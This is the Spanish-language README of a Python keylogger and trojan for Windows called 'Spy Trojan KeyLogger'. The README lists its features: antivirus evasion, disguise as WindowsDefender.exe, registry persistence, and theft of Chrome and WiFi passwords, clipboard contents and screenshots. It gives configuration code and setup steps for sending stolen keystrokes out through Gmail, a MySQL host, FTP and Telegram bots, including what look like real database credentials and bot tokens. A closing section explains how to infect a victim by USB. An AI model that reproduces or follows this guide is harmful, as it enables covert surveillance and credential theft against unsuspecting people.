█▀ █▀█ █▄█ ▀█▀ █▀█ █▀█ █ ▄▀█ █▄ █ █▄▀ █▀▀ █▄█ █ █▀█ █▀▀ █▀▀ █▀▀ █▀█
▄█ █▀▀ █ █ █▀▄ █▄█ █▄█ █▀█ █ ▀█ █ █ ██▄ █ █▄▄ █▄█ █▄█ █▄█ ██▄ █▀▄ v5.3.1
¡ Nota importante !: Ésta herramienta tiene como único proposito general, el aprendizaje de "Seguridad en sistemas informáticos", el creador no se hace responsable por un posible mal uso de ésta herramienta.
- Nombre:
Spy Trojan KeyLogger
- Documentación:
09/07/2020
- Versión:
5.3.1
- Estado:
Estable
- Plataforma:
Windows 7, 8.1 y 10
- Lenguaje:
Python 3.8
-
Indetectable Antivirus: Testeado en: Windows Defender
09/07/2020
, Avast, ESET NOD32 -
Envío por DB_MYSQL: Envio de de datos mediante una base de datos MySQL, más información Aquí
-
Envío por Gmail: Envía el registro de teclas por Gmail en un
reg.k
. más información aquí. -
Segundo Gmail en caso de Error: En casó el correo principal sea bloqueada o tenga x problemas, se usará un segundo correo.
-
Recibe datos por varios correos: Hay una posibilidad de agregar 1 o más correos, y así el registro de teclas se envíe a varios correos a la vez.
-
Verifica conexión a internet: El keylogger verifica si la computadora está conectada a internet, y si ese es el caso envía los datos, en caso contrario, no lo envía,
-
Intervalo de tiempo personalizado:
- DATABASE: El tiempo recomendado es de 20 a 30 minutos.
- GMAIL: El tiempo recomendado es de 1:30 a 2 horas mínimo. [
Google suele bloquear la cuenta por horas cuando detecta una gran cantidad de correos envíados por día.
]
-
Envío del registro prueba de errores: En otros keylogger al momento de enviar el
reg.k
, éste proceso demora entre 3 a 5 segundos, y en ese transcurso de tiempo el keylogger no obtiene ninguna información de teclas oprimidas, en éste keylogger, ese error está solucionado. -
Segundo plano: Este keylogger, al ejecutarse en la linea de comando, sí mostrará una consola, solo por detalles de debuggeo, pero al ser compilada de
*.py
a*.exe
el ejecutable resultante se ejecutará en segundo plano -
Disfraz: Al momento de ser convertido de
*.py a *.exe
. El Keylogger será disfrazado comoWindowsDefender.exe
con el ícono y la información del programa. -
Oculto: El Keylogger al iniciar se copia (Solo si ya está en un archivo *exe) a la carpeta
"C:\Users\Public\Security\Windows Defender\"
, y en esa carpeta encuentras el archivoreg.k
. -
Iniciar automaticamente con el sistema: Modifica el registro de windows, más información aquí.
-
Envio mediante Bot Telegram: Soporte de envio automatico del registro de teclas a un bot especifico. Nota: puedes enviar el registro de teclas simultaneamente a 3 cuentas distintas
-
Screenshot: Toma capturas de pantalla con un intervalo personalizado [Solo valido para Telegram] [hasta 3 cuentas simultaneas]
- Soporte de envió a otros buzones de correo: Se insertará un soporte para poder usar Outlook, yahoo u otros servicios de correo
- Conexión FTP: Envía el archivo
reg.k
vía FTP. - Envía datos mediante FTP: enviará documentos, fotos y videos mediante una conexión FTP, en segundo plano.
- Contraseñas de Wifi: Obtiene contraseñas guardadas en una laptop o PC
- Portapapeles: Obtiene el texto del portapapeles.
- Obtiene contraseñas guardadas en Google Chrome: Obtiene todas las contraseñas guardadas de Google chrome .
- Auto Destrucción: El keylogger se auto destruirá en una una fecha especifica.
El programa se repite 2 veces ya que ésta utiza 2 hilos de ejecución
NOTA: Como requisito mínimo para el aprendizaje de ésta herramienta es saber programar en Python básico y en casó de que use la conexión a la base de datos, pues MySQL básico.
Requerimiento de paquetes de Python3.8
:
import socket # Verifica internet
import threading # procesos multihilos
from pynput.keyboard import Listener # Escucha eventos del teclado
from getpass import getuser # Obtiene el nombre del usuario
from datetime import datetime # Devuelve fecha y hora actual
from winreg import OpenKey, SetValueEx, HKEY_LOCAL_MACHINE, KEY_ALL_ACCESS, REG_SZ, HKEY_CURRENT_USER # Modifica registros de Windows
import datetime # Devuelve fecha y hora actual
import random # Genera numeros
import os # Lib para copiar archivos
import telepot # Telegram API
import yagmail # Enviar archivos solo a Gmail
import pymysql # Lib connection mysql
import shutil # Lib para crear carpetas
import string # Lib genera textos
import time # Contar segundos
from PIL import ImageGrab # Toma capturas de pantalla
En este ejemplo solo se mostrará las constantes que deben cambiar:
class Config:
def __init__(self):
self.TIME_SCREENSHOT = 30 #[seconds] # Tiempo de intervalo de ScreenShot
self.DELAY = 1 # tiempo de retraso para evitar sobrecargos al iniciar
self.TIME_SEND = 1 #[minutos] # Tiempo de envió del registro
self.MODE_SEND = 2 # 0 = Gmail
# 1 = DataBase # Solo se puede usar una opción
# 2 = TelegramBot
class DataBase: # Clase de Base de datos
def __init__(self):
self.HOSTNAME = "bh1g5gnxzw2igrvui8hq-mysql.services.clever-cloud.com" # HostName
self.USERNAME = "udwlsyrbtldkznqo" # Username
self.PASSWORD = "OR2i2dfdgWek0UDiAv4f" # Password
self.DATABASE = "bh1g5gnxzw2igrvui8hq" # DataBase Name
self.PORT = "3306" # Port
class Gmail:
def __init__(self):
self.GMAIL_1 = "correo1@gmail.com"
self.PASS_1 = "password1"
self.GMAIL_2 = "correo2@gmail.com"
self.PASS_2 = "password2"
self.GMAIL_3 = "correo3@gmail.com"
self.PASS_3 = "password3"
# Solo un correo Recibirá el Registro de Teclas
self.RECEIVERS = ["receivers1@yahoo.com"]
# Correos que recibiran el Registro de teclas, pueden ser de 1 a muchos
self.RECEIVERS = ["receivers1@yahoo.com","receivers2@gmail.com","receivers3@hotmail.com"]
class TelegramBot:
def __init__(self):
self.ID = 833456944 # ID Principal [Obligatorio]
self.ID_2 = 000000000 # ID secundario [Opcional]
self.ID_3 = 000000000 # ID Terciario [Opcional]
self.TOKEN = "1345614169:AAE7O_jRBhIkq_minXh52Ws2SV3wlPfp844" # TOKEN de tu Bot [Obligatorio]
# Personalize
self.LEN_TEXT = 3000 # [Longitud maxima por mensaje es de = 4000] # Solo se enviará el registro si sobrepasa la longitud especificada
self.SCREENSHOT = True # Activar o desactivar Screenshot
self.TIME_SCREENSHOT = 30 #[seconds] # Tiempo de intervalo de ScreenShot
self.DELAY = 1 # tiempo de retraso para evitar sobrecargos al iniciar
self.TIME_SEND = 1 #[minutos] # Tiempo de envió del registro
self.MODE_SEND = 2 # 0 = Gmail
# 1 = DataBase # Solo se puede usar una opción
# 2 = TelegramBot
-
Por ahora solo podemos escoger el envío del registro o bien por una conexión a una Base de datos, Gmail o BotTelegram no podemos escoger dos o las tres al mismo tiempo.
-
Buscamos la siguiente función y escogemos [0 = Gmail], [1 = DataBase] o [2 = BotTelegram]
# Importante self.TIMESEND = 5 #[minutos] # Tiempo de envió del registro self.MODE = 0 # 0 = Gmail # 1 = DataBase # Solo se puede usar una opción # 2 = TelegramBot
-
Es de suma urgencia habilitar el acceso a apps menos seguras de google, la cual lo puedes hacer desde éste link.
En caso no lo habilites, el keylogger no podrá iniciar sesión en su Gmail
-
Abra el archivo
WindowsDefender.py
en su editor de texto.class Gmail: def __init__(self): self.GMAIL_1 = "correo1@gmail.com" self.PASS_1 = "password1" self.GMAIL_2 = "correo2@gmail.com" self.PASS_2 = "password2" self.GMAIL_3 = "correo3@gmail.com" self.PASS_3 = "password3" # Solo un correo Recibirá el Registro de Teclas self.RECEIVERS = ["receivers1@yahoo.com"] # Correos que recibiran el Registro de teclas, pueden ser de 1 a muchos # self.RECEIVERS = ["receivers1@yahoo.com","receivers2@gmail.com","receivers3@hotmail.com"]
-
Debes crearte una cuenta gratuita en CleverCloud, cabe destacar que solo tenemos 10MB de almacenamiento, se recomienda, vaciar los datos cada vez que podamos, o utilizar otra base de datos.
-
Select a MySQL =>
-
Creamos una Base de Datos gratuita o pagamos por el servicio, damos a
NEXT
. -
Escribirmos el nombre para reconocer la base de datos.
-
Obtenemos los datos de conexión.
-
Descargamos e instalamos HeidiSQLy creamos una nueva sesión.
-
Creamos una nueva tabla con el Nombre=
keyLog
y guardamos. -
Creamos los siguientes tipos de datos:
# No olvidar que el id debe ser autoincremento l_id // INT [Llave Primaria] [Autoincremento] l_user // CHAR [50 Caracteres] l_time // CHAR [50 Caracteres] l_log // MEDIUMTEXT [Acepta 16.777.215 Caracteres] // LONGTEXT [Acepta 4,292.967.295 Caracteres - Aprox 4GB de Texto]
-
Se debería ver así:
-
Ahora entramos a nuestro archivo
WindowsDefender.py
y buscamos y colocamos los datos de tu base de datos:# Importante self.TIMESEND = 26 #[minutos] # Tiempo de envió del registro self.MODE = 1 # 0 = Gmail # 1 = DataBase # Solo se puede usar una opción # 2 = TelegramBot class DataBase: # Clase de Base de datos def __init__(self): self.HOSTNAME = "bh1g5gnxzw2igrvui8hq-mysql.services.clever-cloud.com" # HostName self.USERNAME = "udwlsyrbtldkznqo" # Username self.PASSWORD = "OR2i2dfdgWek0UDiAv4f" # Password self.DATABASE = "bh1g5gnxzw2igrvui8hq" # DataBase Name self.PORT = "3306" # Port
-
Si al ejecutar el keylogger todo salió bien, podemos ver en la base de datos el registro de teclas
-
Entramos a BotFather y creamos un nuevo bot.
-
Obtenemos nuetro token
-
Ahora obtenemos nuestro
Chat ID
, esto se realiza para que solo el registro de teclas nos llegue a nosotros y no a cualquiera que encuentre el bot. -
Buscamos el Bot llamado Chat ID Echo y obtenemos nuestro Chat ID
-
Ya tenemos nuestro
Token del bot
y nuestroChat ID
ahora tenemos que abrir nuestro archivoWindowsDefender.py
y colocar esos datos siguientes métodos:NOTA: Podemos tener hasta 3 ID distintos y a todos les llegaran los mismos datos, si solo usará uno, no modifique los valores del ID_2 e ID_3
# Importante self.TIMESEND = 26 #[minutos] # Tiempo de envió del registro self.MODE = 2 # 0 = Gmail # 1 = DataBase # Solo se puede usar una opción # 2 = TelegramBot class TelegramBot: def __init__(self): self.ID = 831756903 # ID Principal [Obligatorio] self.ID_2 = 000000000 # ID secundario [Opcional] self.ID_3 = 000000000 # ID Terciario [Opcional] self.TOKEN = "1159435940:AAHKZLqDuuk4XBYHUx2GmQei0-RoRvis2v8" # TOKEN de tu Bot [Obligatorio] # ************ Zona Telegram *************
-
Buscamos nuestro bot y la iniciamos...
-
Ejemplo del funcionamiento
Si ya configuró o bien la base de datos, Gmail o Telegram, si deseas saber si todo está Ok, pues ejecuta el archivo Ejecuta.bat
, esta ejecutará el SpyTrojanKeylogger.py
en modo debugg, la cual mostrará información en la consola:
- Mensaje de Error o Exito de [StartUp]
- Mensaje de Error o Exito de la caracteristica
Trojan
- Teclas oprimidas a tiempo real
- Mensaje de Error o Exito al envía el registro por Gmail
- Mensaje de Error o Exito al conectarse con la base de datos.
- Mensaje de Error o Exito al envíar el registro mediante Telegram
- Otros posibles errores de
import lib
[Si tiene problemas con las librerías intenta reinstalar python e instalar las librerías manualmente.]
Una vez todo configurado, lo siguiente es convertir nuestro archivo py
a un exe
y en el proceso disfrazarlo.
-
Ejecutamos el archivo:
-
Luego de terminar aparecerá en la consola
Press any key to continue...
-
Regresamos a la carpeta principal y notamos que tenemos nuevas carpetas y archivos, las cuales son archivos caché sin ninguna importancia, donde e encuentrá nuestro troyano es dentro de la carpeta
EXE Final
. -
Compilación terminada:
¿Cómo infecto a la victima?
Nota: No cambiar de nombre al archivo WindowsDefender.exe
, si usted le cambia el nombre, el Keylogger quedará obsoleto.
- Usten guardará el archivo en un USB.
- Conectará el USB a la [PC] a infectar.
- Se recomienda desactivar el antivirus o agregar una exclusión en al siguiente ruta:
"C:\Users\Public\Security\Windows Defender"
. - Lo siguiente es ejecutar el archivo
WindowsDefender.exe
en el USB, el Keylogger se replicará en la siguiente ruta"C:\Users\Public\Security\Windows Defender"
, Se recomienda no sacar el USB al instante ya que elKeylogger
se estará replicando en la ruta.
NOTA: Al ejecutar el archivó, ésta automaticamente modificará el registro de windows para que se inicie siempre al prender la computadora.
El Keylogger modificará la siguiente ruta del registro "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"
por lo cual necesitará permisos de administrador, por ende se recomienda que la primera ejecución se realice con permisos de administrador, en caso de que no lo ejecute con permisos de administrador, el Keylogger modificará la siguiente ruta "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
Explicación:
HKEY_LOCAL_MACHINE:
El Keylogger se ejecutará en todos los usuarios exitentes y los nuevos usuarios de la computadoraHKEY_CURRENT_USER:
El Keylogger solo se ejecutará en el usuario actual, si se llegará a crear otro usuario, el Keylogger Solo funcionará en el usuario principal
Nota: Contacteme solo si encontró un bug o desea aportar al repositorio, gracias.